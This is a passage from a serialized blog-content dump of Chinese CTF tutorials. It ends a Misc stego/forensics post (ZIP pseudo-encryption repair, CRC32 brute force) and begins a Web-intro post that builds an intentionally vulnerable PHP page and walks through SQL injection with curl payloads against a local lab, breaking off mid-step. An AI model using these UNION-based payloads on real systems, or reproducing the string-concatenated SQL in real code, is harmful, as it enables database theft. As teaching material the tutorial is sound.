'wb').write(data)\n",[33,10517,10518],{"class":35,"line":476},[33,10519,1460],{"emptyLinePlaceholder":1373},[33,10521,10522],{"class":35,"line":482},[33,10523,10524],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[33,10526,10527],{"class":35,"line":1295},[33,10528,10529],{}," print(z.read('flag.txt'))\n",[16,10531,2432],{},[23,10533,10536],{"className":10534,"code":10535,"language":175,"meta":28},[173],"b'ctf{zip}'\n",[30,10537,10535],{"__ignoreMap":28},[16,10539,10540,10541,10544],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[30,10542,10543],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[11,10546,10548],{"id":10547},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[16,10550,10551,10553],{},[136,10552,138],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[16,10555,10556,10558],{},[136,10557,144],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[16,10560,10561],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[23,10563,10565],{"className":1238,"code":10564,"language":1240,"meta":28,"style":28},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n for tup in itertools.product(charset, repeat=length):\n # product(charset, repeat=length)：生成长度为 length 的所有组合。\n s = ''.join(tup).encode()\n # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n if zlib.crc32(s) & 0xffffffff == target:\n # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n print(\"爆破结果:\", s)\n exit()\n",[30,10566,10567,10572,10577,10581,10586,10591,10596,10601,10605,10610,10615,10620,10625,10630,10635,10640,10645,10650,10655],{"__ignoreMap":28},[33,10568,10569],{"class":35,"line":36},[33,10570,10571],{},"import zipfile, zlib, itertools\n",[33,10573,10574],{"class":35,"line":47},[33,10575,10576],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[33,10578,10579],{"class":35,"line":70},[33,10580,1460],{"emptyLinePlaceholder":1373},[33,10582,10583],{"class":35,"line":80},[33,10584,10585],{},"z = zipfile.ZipFile('flag.zip')\n",[33,10587,10588],{"class":35,"line":452},[33,10589,10590],{},"target = z.getinfo('flag.txt').CRC\n",[33,10592,10593],{"class":35,"line":458},[33,10594,10595],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[33,10597,10598],{"class":35,"line":464},[33,10599,10600],{},"print(\"目标 CRC:\", target)\n",[33,10602,10603],{"class":35,"line":470},[33,10604,1460],{"emptyLinePlaceholder":1373},[33,10606,10607],{"class":35,"line":476},[33,10608,10609],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[33,10611,10612],{"class":35,"line":482},[33,10613,10614],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[33,10616,10617],{"class":35,"line":1295},[33,10618,10619],{},"for length in range(1, 5):\n",[33,10621,10622],{"class":35,"line":1301},[33,10623,10624],{}," for tup in itertools.product(charset, repeat=length):\n",[33,10626,10627],{"class":35,"line":1505},[33,10628,10629],{}," # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[33,10631,10632],{"class":35,"line":1511},[33,10633,10634],{}," s = ''.join(tup).encode()\n",[33,10636,10637],{"class":35,"line":1517},[33,10638,10639],{}," # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[33,10641,10642],{"class":35,"line":1523},[33,10643,10644],{}," if zlib.crc32(s) & 0xffffffff == target:\n",[33,10646,10647],{"class":35,"line":1529},[33,10648,10649],{}," # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[33,10651,10652],{"class":35,"line":1535},[33,10653,10654],{}," print(\"爆破结果:\", s)\n",[33,10656,10657],{"class":35,"line":1541},[33,10658,10659],{}," exit()\n",[16,10661,10662,10663,10666],{},"实际输出（目标内容 ",[30,10664,10665],{},"ctf1","）：",[23,10668,10671],{"className":10669,"code":10670,"language":175,"meta":28},[173],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[30,10672,10670],{"__ignoreMap":28},[16,10674,10675,10676,10679,10680,10683],{},"注意 ",[30,10677,10678],{},"zlib.crc32"," 返回有符号整数，需要 ",[30,10681,10682],{},"& 0xffffffff"," 归一化。",[11,10685,1038],{"id":1037},[490,10687,10688,10698],{},[493,10689,10690],{},[496,10691,10692,10694,10696],{},[499,10693,1047],{},[499,10695,1050],{},[499,10697,6560],{},[506,10699,10700,10712,10728,10744],{},[496,10701,10702,10704,10707],{},[511,10703,163],{},[511,10705,10706],{},"看类型",[511,10708,10709],{},[30,10710,10711],{},"file flag.png",[496,10713,10714,10717,10720],{},[511,10715,10716],{},"xxd",[511,10718,10719],{},"看文件头与结构",[511,10721,10722,264,10725],{},[30,10723,10724],{},"xxd -l 16 flag.png",[30,10726,10727],{},"xxd flag.zip | head",[496,10729,10730,10733,10736],{},[511,10731,10732],{},"binwalk",[511,10734,10735],{},"扫描/提取隐藏文件",[511,10737,10738,264,10741],{},[30,10739,10740],{},"binwalk flag.png",[30,10742,10743],{},"binwalk -e flag.png",[496,10745,10746,10748,10751],{},[511,10747,10224],{},[511,10749,10750],{},"LSB 自动检测",[511,10752,10753],{},[30,10754,10755],{},"zsteg -a flag.png",[11,10757,10759],{"id":10758},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[16,10761,10762,10764],{},[136,10763,138],{},"：把前三节串成一道完整题目。",[16,10766,10767,10769],{},[136,10768,144],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[16,10771,1136,10772,301],{},[30,10773,10774],{},"flag.png",[16,10776,10777],{},"第一步：",[23,10779,10781],{"className":25,"code":10780,"language":27,"meta":28,"style":28},"file flag.png # PNG image data\nstrings flag.png | grep -i flag # 无输出\nbinwalk flag.png # 无隐藏文件\n",[30,10782,10783,10793,10811],{"__ignoreMap":28},[33,10784,10785,10787,10790],{"class":35,"line":36},[33,10786,163],{"class":39},[33,10788,10789],{"class":43}," flag.png",[33,10791,10792],{"class":1576}," # PNG image data\n",[33,10794,10795,10797,10799,10801,10803,10806,10808],{"class":35,"line":47},[33,10796,209],{"class":39},[33,10798,10789],{"class":43},[33,10800,400],{"class":56},[33,10802,403],{"class":39},[33,10804,10805],{"class":241}," -i",[33,10807,4234],{"class":43},[33,10809,10810],{"class":1576}," # 无输出\n",[33,10812,10813,10815,10817],{"class":35,"line":70},[33,10814,10732],{"class":39},[33,10816,10789],{"class":43},[33,10818,10819],{"class":1576}," # 无隐藏文件\n",[16,10821,10822],{},"第二步：怀疑 LSB，运行提取脚本：",[23,10824,10826],{"className":10825,"code":10208,"language":175,"meta":28},[173],[30,10827,10208],{"__ignoreMap":28},[16,10829,10830,10831,10834],{},"变体：若提取出的字节不是文本而是 ",[30,10832,10833],{},"PK"," 开头，把它保存为 zip，再检查是否伪加密：",[23,10836,10838],{"className":1238,"code":10837,"language":1240,"meta":28,"style":28},"with open('extracted.zip', 'wb') as f:\n f.write(data)\n",[30,10839,10840,10845],{"__ignoreMap":28},[33,10841,10842],{"class":35,"line":36},[33,10843,10844],{},"with open('extracted.zip', 'wb') as f:\n",[33,10846,10847],{"class":35,"line":47},[33,10848,10849],{}," f.write(data)\n",[16,10851,10852],{},"然后按第四节流程检查并修复标志位。",[11,10854,1337],{"id":1336},[16,10856,10857,10858,10860,10861,1125,10863,10865],{},"取证主线：",[30,10859,163],{}," 确认类型 → ",[30,10862,209],{},[30,10864,10732],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1350,10867,10868],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":28,"searchDepth":47,"depth":47,"links":10870},[10871,10872,10873,10874,10875,10876,10877,10878],{"id":9823,"depth":70,"text":9824},{"id":89,"depth":70,"text":90},{"id":9873,"depth":70,"text":9874},{"id":10239,"depth":70,"text":10240},{"id":10547,"depth":70,"text":10548},{"id":1037,"depth":70,"text":1038},{"id":10758,"depth":70,"text":10759},{"id":1336,"depth":70,"text":1337},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1366,"image":2254,"alt":10881,"tags":10882,"published":1373},"隐写与取证深入实战",[1370,10883,10884,1372],"misc","隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":9818,"description":10879},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":10890,"title":10891,"body":10892,"description":12739,"extension":1364,"meta":12740,"navigation":1373,"ogImage":12741,"path":12744,"seo":12745,"stem":12746,"__hash__":12747},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":8,"value":10893,"toc":12727},[10894,10898,10901,10920,10926,10932,10934,10992,11002,11006,11009,11097,11100,11104,11108,11111,11114,11142,11147,11259,11262,11275,11279,11281,11295,11297,11302,11306,11314,11327,11332,11335,11365,11368,11373,11376,11379,11404,11409,11412,11437,11440,11448,11452,11457,11465,11468,11493,11496,11526,11531,11534,11559,11563,11566,11601,11605,11608,11638,11642,11645,11668,11672,11685,11695,11699,11704,11721,11725,11731,11740,11744,11760,11765,11769,11785,11787,11833,11842,11846,11849,11896,11903,11907,11910,11981,11988,11992,11997,12021,12025,12031,12064,12068,12099,12101,12107,12111,12142,12145,12149,12180,12183,12187,12212,12216,12219,12222,12236,12240,12245,12277,12286,12292,12323,12326,12330,12333,12387,12390,12394,12397,12400,12418,12420,12425,12428,12446,12451,12454,12480,12487,12491,12498,12518,12522,12527,12557,12562,12566,12575,12595,12597,12625,12628,12637,12646,12660,12664,12669,12712,12719,12721,12724],[11,10895,10897],{"id":10896},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[16,10899,10900],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[23,10902,10904],{"className":25,"code":10903,"language":27,"meta":28,"style":28},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[30,10905,10906],{"__ignoreMap":28},[33,10907,10908,10910,10913,10915,10918],{"class":35,"line":36},[33,10909,3515],{"class":39},[33,10911,10912],{"class":241}," -v",[33,10914,3518],{"class":412},[33,10916,10917],{"class":43},"http://127.0.0.1:8000/index.php?id=1",[33,10919,3524],{"class":412},[16,10921,10922,10925],{},[30,10923,10924],{},"-v"," 会显示完整过程，输出示例：",[23,10927,10930],{"className":10928,"code":10929,"language":175,"meta":28},[173],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[30,10931,10929],{"__ignoreMap":28},[16,10933,10328],{},[490,10935,10936,10945],{},[493,10937,10938],{},[496,10939,10940,10943],{},[499,10941,10942],{},"部分",[499,10944,504],{},[506,10946,10947,10964,10974,10984],{},[496,10948,10949,10954],{},[511,10950,10951],{},[30,10952,10953],{},"GET /index.php?id=1",[511,10955,10956,10957,10960,10961],{},"方法 GET，路径 ",[30,10958,10959],{},"/index.php","，参数 ",[30,10962,10963],{},"id=1",[496,10965,10966,10971],{},[511,10967,10968],{},[30,10969,10970],{},"Host",[511,10972,10973],{},"目标主机",[496,10975,10976,10981],{},[511,10977,10978],{},[30,10979,10980],{},"HTTP/1.1 200 OK",[511,10982,10983],{},"协议版本与状态码，200 表示成功",[496,10985,10986,10989],{},[511,10987,10988],{},"正文",[511,10990,10991],{},"服务器返回的 HTML",[16,10993,10994,10995,11001],{},"Web 漏洞几乎都源于一件事：",[136,10996,10997,10998,11000],{},"参数 ",[30,10999,3490],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[11,11003,11005],{"id":11004},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[16,11007,11008],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[23,11010,11012],{"className":25,"code":11011,"language":27,"meta":28,"style":28},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000 # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[30,11013,11014,11019,11034,11042,11048,11060,11064,11069,11080],{"__ignoreMap":28},[33,11015,11016],{"class":35,"line":36},[33,11017,11018],{"class":1576},"# 方式一：源码部署（需要 PHP + MySQL）\n",[33,11020,11021,11023,11025,11028,11031],{"class":35,"line":47},[33,11022,103],{"class":39},[33,11024,106],{"class":43},[33,11026,11027],{"class":43}," php",[33,11029,11030],{"class":43}," php-mysql",[33,11032,11033],{"class":43}," mariadb-server\n",[33,11035,11036,11038,11040],{"class":35,"line":70},[33,11037,3342],{"class":39},[33,11039,3345],{"class":43},[33,11041,3348],{"class":43},[33,11043,11044,11046],{"class":35,"line":80},[33,11045,771],{"class":770},[33,11047,3355],{"class":43},[33,11049,11050,11052,11054,11057],{"class":35,"line":452},[33,11051,3284],{"class":39},[33,11053,3362],{"class":241},[33,11055,11056],{"class":43}," 127.0.0.1:8000",[33,11058,11059],{"class":1576}," # 启动后浏览器访问，点 Setup/reset Database\n",[33,11061,11062],{"class":35,"line":458},[33,11063,1460],{"emptyLinePlaceholder":1373},[33,11065,11066],{"class":35,"line":464},[33,11067,11068],{"class":1576},"# 方式二：Docker 部署（最简单）\n",[33,11070,11071,11074,11077],{"class":35,"line":470},[33,11072,11073],{"class":39},"docker",[33,11075,11076],{"class":43}," pull",[33,11078,11079],{"class":43}," tavenli/sqli-labs\n",[33,11081,11082,11084,11087,11089,11092,11095],{"class":35,"line":476},[33,11083,11073],{"class":39},[33,11085,11086],{"class":43}," run",[33,11088,368],{"class":241},[33,11090,11091],{"class":241}," -p",[33,11093,11094],{"class":43}," 8000:80",[33,11096,11079],{"class":43},[16,11098,11099],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[11,11101,11103],{"id":11102},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[147,11105,11107],{"id":11106},"_31-平台与代码","3.1 平台与代码",[16,11109,11110],{},"平台：Linux + PHP + MySQL。",[16,11112,11113],{},"第一步，建数据库。在 MySQL 里执行：",[23,11115,11116],{"className":3309,"code":3381,"language":3311,"meta":28,"style":28},[30,11117,11118,11122,11126,11130,11134,11138],{"__ignoreMap":28},[33,11119,11120],{"class":35,"line":36},[33,11121,3388],{},[33,11123,11124],{"class":35,"line":47},[33,11125,3393],{},[33,11127,11128],{"class":35,"line":70},[33,11129,3398],{},[33,11131,11132],{"class":35,"line":80},[33,11133,3403],{},[33,11135,11136],{"class":35,"line":452},[33,11137,3408],{},[33,11139,11140],{"class":35,"line":458},[33,11141,3413],{},[16,11143,11144,11145,561],{},"第二步，写漏洞页面 ",[30,11146,3418],{},[23,11148,11150],{"className":3282,"code":11149,"language":3284,"meta":28,"style":28},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n // 取不到更多行时返回 null，while 结束。\n echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[30,11151,11152,11156,11160,11165,11170,11174,11178,11183,11188,11192,11196,11201,11206,11211,11215,11219,11224,11228,11232,11237,11242,11246,11251,11255],{"__ignoreMap":28},[33,11153,11154],{"class":35,"line":36},[33,11155,3428],{},[33,11157,11158],{"class":35,"line":47},[33,11159,3433],{},[33,11161,11162],{"class":35,"line":70},[33,11163,11164],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[33,11166,11167],{"class":35,"line":80},[33,11168,11169],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[33,11171,11172],{"class":35,"line":452},[33,11173,1460],{"emptyLinePlaceholder":1373},[33,11175,11176],{"class":35,"line":458},[33,11177,3291],{},[33,11179,11180],{"class":35,"line":464},[33,11181,11182],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[33,11184,11185],{"class":35,"line":470},[33,11186,11187],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[33,11189,11190],{"class":35,"line":476},[33,11191,1460],{"emptyLinePlaceholder":1373},[33,11193,11194],{"class":35,"line":482},[33,11195,3442],{},[33,11197,11198],{"class":35,"line":1295},[33,11199,11200],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[33,11202,11203],{"class":35,"line":1301},[33,11204,11205],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[33,11207,11208],{"class":35,"line":1505},[33,11209,11210],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[33,11212,11213],{"class":35,"line":1511},[33,11214,1460],{"emptyLinePlaceholder":1373},[33,11216,11217],{"class":35,"line":1517},[33,11218,3447],{},[33,11220,11221],{"class":35,"line":1523},[33,11222,11223],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[33,11225,11226],{"class":35,"line":1529},[33,11227,1460],{"emptyLinePlaceholder":1373},[33,11229,11230],{"class":35,"line":1535},[33,11231,3452],{},[33,11233,11234],{"class":35,"line":1541},[33,11235,11236],{}," // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[33,11238,11239],{"class":35,"line":2981},[33,11240,11241],{}," // 取不到更多行时返回 null，while 结束。\n",[33,11243,11244],{"class":35,"line":2987},[33,11245,3457],{},[33,11247,11248],{"class":35,"line":2993},[33,11249,11250],{}," // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[33,11252,11253],{"class":35,"line":2999},[33,11254,1475],{},[33,11256,11257],{"class":35,"line":3005},[33,11258,3466],{},[16,11260,11261],{},"第三步，启动：",[23,11263,11265],{"className":25,"code":11264,"language":27,"meta":28,"style":28},"php -S 127.0.0.1:8000\n",[30,11266,11267],{"__ignoreMap":28},[33,11268,11269,11271,11273],{"class":35,"line":36},[33,11270,3284],{"class":39},[33,11272,3362],{"class":241},[33,11274,3365],{"class":43},[147,11276,11278],{"id":11277},"_32-正常请求","3.2 正常请求",[16,11280,153],{},[23,11282,11283],{"className":25,"code":3508,"language":27,"meta":28,"style":28},[30,11284,11285],{"__ignoreMap":28},[33,11286,11287,11289,11291,11293],{"class":35,"line":36},[33,11288,3515],{"class":39},[33,11290,3518],{"class":412},[33,11292,3521],{"class":43},[33,11294,3524],{"class":412},[16,11296,169],{},[23,11298,11300],{"className":11299,"code":3530,"language":175,"meta":28},[173],[30,11301,3530],{"__ignoreMap":28},[147,11303,11305],{"id":11304},"_33-判断注入点三步","3.3 判断注入点（三步）",[16,11307,11308,11310,11311,11313],{},[136,11309,138],{},"：确认 ",[30,11312,3490],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[16,11315,11316,11318,11319,11322,11323,11326],{},[136,11317,144],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[30,11320,11321],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[30,11324,11325],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[16,11328,11329,11331],{},[136,11330,648],{},"：逐条发送以下三个请求，对比输出。",[16,11333,11334],{},"输入 1：",[23,11336,11338],{"className":25,"code":11337,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[30,11339,11340,11350,11355,11360],{"__ignoreMap":28},[33,11341,11342,11344,11346,11348],{"class":35,"line":36},[33,11343,3515],{"class":39},[33,11345,3518],{"class":412},[33,11347,3555],{"class":43},[33,11349,3524],{"class":412},[33,11351,11352],{"class":35,"line":47},[33,11353,11354],{"class":1576},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[33,11356,11357],{"class":35,"line":70},[33,11358,11359],{"class":1576},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[33,11361,11362],{"class":35,"line":80},[33,11363,11364],{"class":1576},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[16,11366,11367],{},"预期输出：SQL 语法错误，例如：",[23,11369,11371],{"className":11370,"code":3564,"language":175,"meta":28},[173],[30,11372,3564],{"__ignoreMap":28},[16,11374,11375],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[16,11377,11378],{},"输入 2：",[23,11380,11382],{"className":25,"code":11381,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[30,11383,11384,11394,11399],{"__ignoreMap":28},[33,11385,11386,11388,11390,11392],{"class":35,"line":36},[33,11387,3515],{"class":39},[33,11389,3518],{"class":412},[33,11391,3591],{"class":43},[33,11393,3524],{"class":412},[33,11395,11396],{"class":35,"line":47},[33,11397,11398],{"class":1576},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[33,11400,11401],{"class":35,"line":70},[33,11402,11403],{"class":1576},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[16,11405,169,11406,11408],{},[30,11407,3598],{},"（条件为真，正常返回）。",[16,11410,11411],{},"输入 3：",[23,11413,11415],{"className":25,"code":11414,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[30,11416,11417,11427,11432],{"__ignoreMap":28},[33,11418,11419,11421,11423,11425],{"class":35,"line":36},[33,11420,3515],{"class":39},[33,11422,3518],{"class":412},[33,11424,3617],{"class":43},[33,11426,3524],{"class":412},[33,11428,11429],{"class":35,"line":47},[33,11430,11431],{"class":1576},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[33,11433,11434],{"class":35,"line":70},[33,11435,11436],{"class":1576},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[16,11438,11439],{},"预期输出：空（条件为假，查不到数据）。",[16,11441,11442,11443,11445,11446,3636],{},"三个结果合起来：单引号报错、",[30,11444,3631],{}," 正常、",[30,11447,3635],{},[147,11449,11451],{"id":11450},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[16,11453,11454,11456],{},[136,11455,138],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[16,11458,11459,11461,11462,11464],{},[136,11460,144],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[30,11463,3656],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[16,11466,11467],{},"第一步，确定列数：",[23,11469,11471],{"className":25,"code":11470,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[30,11472,11473,11483,11488],{"__ignoreMap":28},[33,11474,11475,11477,11479,11481],{"class":35,"line":36},[33,11476,3515],{"class":39},[33,11478,3518],{"class":412},[33,11480,3683],{"class":43},[33,11482,3524],{"class":412},[33,11484,11485],{"class":35,"line":47},[33,11486,11487],{"class":1576},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[33,11489,11490],{"class":35,"line":70},[33,11491,11492],{"class":1576},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[16,11494,11495],{},"第二步，确认哪一列会回显：",[23,11497,11499],{"className":25,"code":11498,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[30,11500,11501,11511,11516,11521],{"__ignoreMap":28},[33,11502,11503,11505,11507,11509],{"class":35,"line":36},[33,11504,3515],{"class":39},[33,11506,3518],{"class":412},[33,11508,3747],{"class":43},[33,11510,3524],{"class":412},[33,11512,11513],{"class":35,"line":47},[33,11514,11515],{"class":1576},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[33,11517,11518],{"class":35,"line":70},[33,11519,11520],{"class":1576},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[33,11522,11523],{"class":35,"line":80},[33,11524,11525],{"class":1576},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[16,11527,169,11528,11530],{},[30,11529,3754],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[16,11532,11533],{},"第三步，查数据库名：",[23,11535,11537],{"className":25,"code":11536,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[30,11538,11539,11549,11554],{"__ignoreMap":28},[33,11540,11541,11543,11545,11547],{"class":35,"line":36},[33,11542,3515],{"class":39},[33,11544,3518],{"class":412},[33,11546,3773],{"class":43},[33,11548,3524],{"class":412},[33,11550,11551],{"class":35,"line":47},[33,11552,11553],{"class":1576},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[33,11555,11556],{"class":35,"line":70},[33,11557,11558],{"class":1576},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[16,11560,169,11561,301],{},[30,11562,1370],{},[16,11564,11565],{},"第四步，查表名：",[23,11567,11569],{"className":25,"code":11568,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 